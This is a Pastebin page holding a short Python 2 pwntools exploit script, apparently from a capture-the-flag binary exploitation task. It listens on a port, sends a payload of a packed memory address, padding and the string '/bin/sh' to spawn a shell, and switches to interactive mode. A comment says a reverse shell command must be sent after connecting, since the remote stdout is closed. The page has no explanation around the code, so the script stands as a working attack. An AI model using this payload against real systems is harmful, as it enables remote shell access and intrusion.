Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2
- from pwn import *
- import sys
- recv = lambda x: io.recv(x)
- recvn = lambda x: io.recvn(x)
- recvl = lambda : io.recvline()
- recvu = lambda x: io.recvuntil(x)
- recvud = lambda x: io.recvuntil(x, drop=True)
- send = lambda x: io.send(x)
- sendl = lambda x: io.sendline(x)
- if __name__ == "__main__":
- io = listen(0x1234)
- send(p64(0x601210)+p64(0)+"/bin/sh\x00")
- io.interactive() # Because the remote stdout is closed, you need to send another reverse shell command once connecting to the remote.
- sys.exit(0)
Add Comment
Please, Sign In to add comment